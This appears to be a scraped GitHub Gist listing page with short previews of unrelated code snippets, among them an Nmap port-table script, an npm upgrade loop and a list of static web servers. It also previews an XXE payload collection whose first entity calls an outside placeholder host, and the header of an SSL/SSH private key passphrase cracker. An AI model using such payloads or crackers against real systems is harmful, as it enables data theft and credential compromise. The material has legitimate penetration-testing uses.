Skip to content

Instantly share code, notes, and snippets.

View noraj's full-sized avatar
💎
FLOSSing

Alexandre ZANNI noraj

💎
FLOSSing
View GitHub Profile
@activeshadow
activeshadow / create-ports-table.rb
Created May 10, 2015 01:49
Generate Markdown table of open ports from Nmap scan results
host_addr = %r{Host: (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})}
open_port = %r{([0-9]+)/open/}
ports = {}
ARGV.each do |f|
File.foreach(f) do |l|
l.scan(host_addr) do |a|
l.scan(open_port) do |p|
ports[a.first] = [] unless ports.key?(a.first)
@XVilka
XVilka / BiDiSupport.md
Last active February 14, 2025 16:27
BiDirectional Text

This gist will show the support of BiDirectional text in the terminal emulators and console programs. You can read more about the standardization efforts at the dedicated page of FreeDesktop Terminal BiDi working group.

How to test

Logical Order ◀ ◀ ◀ RTL LTR ▶ ▶ ▶
WHAT IS UNICODE؟ in arabic in arabic ؟EDOCINU SI TAHW ؟EDOCINU SI TAHW in arabic
ما هو الترميز الموحد يونيكود؟ in Arabic ما هو الترميز الموحد يونيكود؟ in Arabic
@Averroes
Averroes / hmac_pickle.py
Created April 11, 2015 12:55
hmac pickle
#!/usr/bin/env python
"""Check the digests of pickles passed through a stream.
"""
#end_pymotw_header
import hashlib
import hmac
try:
import cPickle as pickle
except:
@staaldraad
staaldraad / XXE_payloads
Last active March 31, 2025 07:19
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@sh1nu11bi
sh1nu11bi / gist:7adf4fba4d8093105de9
Created October 6, 2014 14:45
SSL / SSH Private Key Passphase Cracker v1.0
#!/bin/bash
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# ssl-crack.sh - wordlist-based encrypted SSL and SSH Private Key Passphase #
# Cracker #
@othiym23
othiym23 / npm-upgrade-bleeding.sh
Created September 20, 2014 19:36
a safe way to upgrade all of your globally-installed npm packages
#!/bin/sh
set -e
set -x
for package in $(npm -g outdated --parseable --depth=0 | cut -d: -f3)
do
npm -g install "$package"
done
@teeparham
teeparham / rdoc2md.rb
Last active December 5, 2024 06:54
Convert rdoc to markdown
require 'rdoc'
converter = RDoc::Markup::ToMarkdown.new
rdoc = File.read(ARGV[0] || 'README.rdoc')
puts converter.convert(rdoc)
# ruby rdoc2md.rb > README.md
# ruby rdoc2md.rb ABC.rdoc > abc.md
@willurd
willurd / web-servers.md
Last active April 20, 2025 00:42
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@Zoxc
Zoxc / ggpk_defragment.rb
Last active January 4, 2024 02:50
GGPK Defragmenter
require 'bindata'
require 'benchmark'
require 'win32/registry'
require 'io/console'
class GGPK
class UTF16String < BinData::String
def snapshot
super.force_encoding('UTF-16LE')
end
@mloberg
mloberg / irc.rb
Created April 9, 2012 17:56
Ruby IRC
require "socket"
class IRC
def initialize(info)
@server = info[:server]
@port = info[:port] || 6667
@password = info[:password]
@nick = info[:nick]
@channel = info[:channel]